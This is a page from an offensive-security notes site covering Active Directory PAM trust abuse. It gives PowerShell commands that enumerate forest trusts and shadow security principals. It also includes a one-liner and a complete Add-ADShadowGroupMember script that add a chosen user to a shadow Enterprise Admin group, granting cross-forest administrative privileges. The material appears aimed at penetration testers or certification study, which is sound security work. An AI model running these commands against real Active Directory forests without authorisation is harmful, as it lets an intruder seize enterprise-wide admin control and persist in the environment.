RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
        • Microsoft Graph PowerShell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
Powered by GitBook
On this page
  • Enumerating PAM trust
  • Enumerate if our current forest has any PAM trust with any other forest
  • Enumerate if your current forest is managed by a bastion forest
  • Enumerate the shadow security principals
  • Add user to shadow security principal
  • References
  1. Active Directory
  2. Enumeration

PAM Trust

PreviousWMI domain enumeration through root\directory\ldapNextDNS discovery

Last updated 2 years ago

Enumerating PAM trust

Enumerate if our current forest has any PAM trust with any other forest

Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

Enumerate if your current forest is managed by a bastion forest

Get-ADTrust -Filter * -Properties *

INSERT IMAGE

Enumerate the shadow security principals

Enumerate the members from the current (bastion) forest and privileges in the user/production forest.

Run with Active Directory module Get-ADObject

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

Please note that if Kerberos AES Encryption is not enabled for the PAM trust, we need to add the machines of existing forest in WSMan TrustedHosts and use '-Authentication Negotiate' option with PowerShell remoting cmdlets.

Add user to shadow security principal

Adding user oneliner

Set-ADObject -Identity "CN=infraforest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=gcbtech,DC=local" -Add @{'member'="<TTL=3600,CN=exam user,CN=Users,DC=gcbtech,DC=local>"}

Import below script and execute below command.

Add-ADShadowGroupMember -GroupNameValue "accforest-ShadowEnterpriseAdmin" -MemberNameValue "syslogagent" -TypeValue user -TTLValue "3600" -ADModulePATH "C:\Windows\temp\AD\ADModule\ActiveDirectory\ActiveDirectory.psd1"

Add-ADShadowGroupMember.ps1

function Add-ADShadowGroupMember {
    Param(
      [Parameter(Mandatory=$true,Position=1)]
        [string]$GroupNameValue,
      [Parameter(Mandatory=$true,Position=2)]
        [string]$MemberNameValue,
     [parameter(Mandatory=$true,Position=3)]
     [ValidateSet("user", "group")]
        [String]$TypeValue,
     [Parameter(Mandatory=$False,Position=4)]
        [string]$TTLValue,
     [Parameter(Mandatory=$False,Position=5)]
        [string]$ADModulePATH
    )
    <#
    .SYNOPSIS
    Add a new member in an existing AD ShadowGroup

    .DESCRIPTION
    Add a new member in an existing AD ShadowGroup. The member could be a user or a group but must be located in the same AD hosting the Shadow Group.
 
    .PARAMETER GroupNameValue
    Mandatory parameter
    -GroupNameValue string
    Provide Shadow Group name to be used in configuration partition of directory (cn=Shadow Principal Configuration,cn=Services...) (object to be searched only in the current AD)
     
    .PARAMETER MemberNameValue
    Mandatory parameter
    -MemberNameValue string
    Provide the name of user or group to be added in the "member" attribute of the AD Shadow Group (object to be searched only in the current AD)
     
    .PARAMETER MemberNameValue
    Mandatory parameter
    -TypeValue string (user or group)
    Provide the type of member to add (user or group) (object to be searched only in the current AD)
     
    .PARAMETER TTLValue
    Optional parameter
    -TTLValue string (time in second)
    Provide the TTL membership for the entry to be added (user or group). At the end of the TTL, the entry is removed automatically from the member attribute of the object.

    .PARAMETER ADModulePATH
    Optional parameter
    -ADModulePATH string (path to ADModule .psd1)
    Provide the path to the ActiveDirectory.psd1 file
 
    .EXAMPLE
    C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Domain Admins" -TypeValue group
     
    .EXAMPLE
    C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Super-Admin" -TypeValue user
     
    .EXAMPLE
    C:\PS> Add-ADShadowGroupMember -GroupNameValue "Shadow-Domain Admins" -MemberNameValue "Temp-Super-Admin" -TypeValue user -TTLValue "3600"

    .EXAMPLE
    C:\PS> Add-ADShadowGroupMember -GroupNameValue "accforest-ShadowEnterpriseAdmin" -MemberNameValue "syslogagent" -TypeValue user -TTLValue "3600" -ADModulePATH "C:\Windows\temp\AD\ADModule\ActiveDirectory\ActiveDirectory.psd1"
    #>
	If ($ADModulePATH) {
        try {
	        import-module $ADModulePATH
	    } catch {
	        Write-Host "Not able to load active directory module - KO"  -foregroundcolor "Red"
	        Write-Host "Please check RSAT is installed if you are running the script on A PC"  -foregroundcolor "Red"
	        write-host "Error Type: $($_.Exception.GetType().FullName)" -ForegroundColor "Yellow"
	        write-host "Error Message: $($_.Exception.Message)" -ForegroundColor "Yellow"
	        return 
	    }
    } Else {
        try {
	        import-module ActiveDirectory
	    } catch {
	        Write-Host "Not able to load active directory module - KO"  -foregroundcolor "Red"
	        Write-Host "Please check RSAT is installed if you are running the script on A PC"  -foregroundcolor "Red"
	        write-host "Error Type: $($_.Exception.GetType().FullName)" -ForegroundColor "Yellow"
	        write-host "Error Message: $($_.Exception.Message)" -ForegroundColor "Yellow"
	        return 
	    }
    }
    $CurrentConfigurationPartDN = ([ADSI]"LDAP://RootDSE").configurationNamingContext
    $ADPArtDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext
    $ShadowGroupPath = "cn=Shadow Principal Configuration,cn=Services,$($CurrentConfigurationPartDN)"
    $CheckShadowObject = get-adobject -Filter "ObjectClass -eq 'msDS-ShadowPrincipal' -and Name -eq '$($GroupNameValue)'" -SearchBase "$($ShadowGroupPath)" -properties member
    $CheckShadowObjectDN = $CheckShadowObject.DistinguishedName | select-object
    If (-not $CheckShadowObject) {
        Write-Host "ShadowPrincipal group $($GroupNameValue) not found ! - KO"  -foregroundcolor "Red"
        return
    }
    try {
        $checkUserObject = get-adobject -Filter "ObjectClass -eq '$($TypeValue)' -and cn -eq '$($MemberNameValue)'" -SearchBase "$($ADPArtDN)" -SearchScope Subtree -properties *
        $checkUserObjectDN = $checkUserObject.DistinguishedName | select-object
    } catch {
        Write-Host "Not able to find $($MemberNameValue) in current AD - KO"  -foregroundcolor "Red"
        write-host "Error Type: $($_.Exception.GetType().FullName)" -ForegroundColor "Yellow"
        write-host "Error Message: $($_.Exception.Message)" -ForegroundColor "Yellow"
        return 
    }
    
    If ($TTLValue) {
        try {
            Set-ADObject -Identity "$($CheckShadowObjectDN)" -Add @{'member'="<TTL=$($TTLValue),$($checkUserObjectDN)>"}
        } catch {
            Write-Host "Not able to add $($MemberNameValue) to $($GroupNameValue) with TTL $($TTLValue) - KO"  -foregroundcolor "Red"
            write-host "Error Type: $($_.Exception.GetType().FullName)" -ForegroundColor "Yellow"
            write-host "Error Message: $($_.Exception.Message)" -ForegroundColor "Yellow"
            return 
        }
    } Else {
        try {
            Set-ADObject -Identity "$($CheckShadowObjectDN)" -Add @{'member'="$($checkUserObjectDN)"}
        } catch {
            Write-Host "Not able to add $($MemberNameValue) to $($GroupNameValue) - KO"  -foregroundcolor "Red"
            write-host "Error Type: $($_.Exception.GetType().FullName)" -ForegroundColor "Yellow"
            write-host "Error Message: $($_.Exception.Message)" -ForegroundColor "Yellow"
            return 
        }
    }
    $CheckObject = get-adobject -Filter "ObjectClass -eq 'msDS-ShadowPrincipal' -and Name -eq '$($GroupNameValue)'" -SearchBase "$($ShadowGroupPath)" -properties *
    $CheckObject
}

References

Using the , we can simply run Get-ADTrust and look for a trust which has ForestTransitive set to True and SIDFilteringQuarantined set to False - this means that SID Filtering is disabled.

Look for ForestTransitive set to True and SIDFilteringForestAware set to True. In this case, is also a very good indicator. It is 0x00000400 (1024 in decimal) for PAM/PIM trust. Simplifying it, it is 1096 for PAM + External Trust + Forest Transitive.

ADModule
TrustAttributes
How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks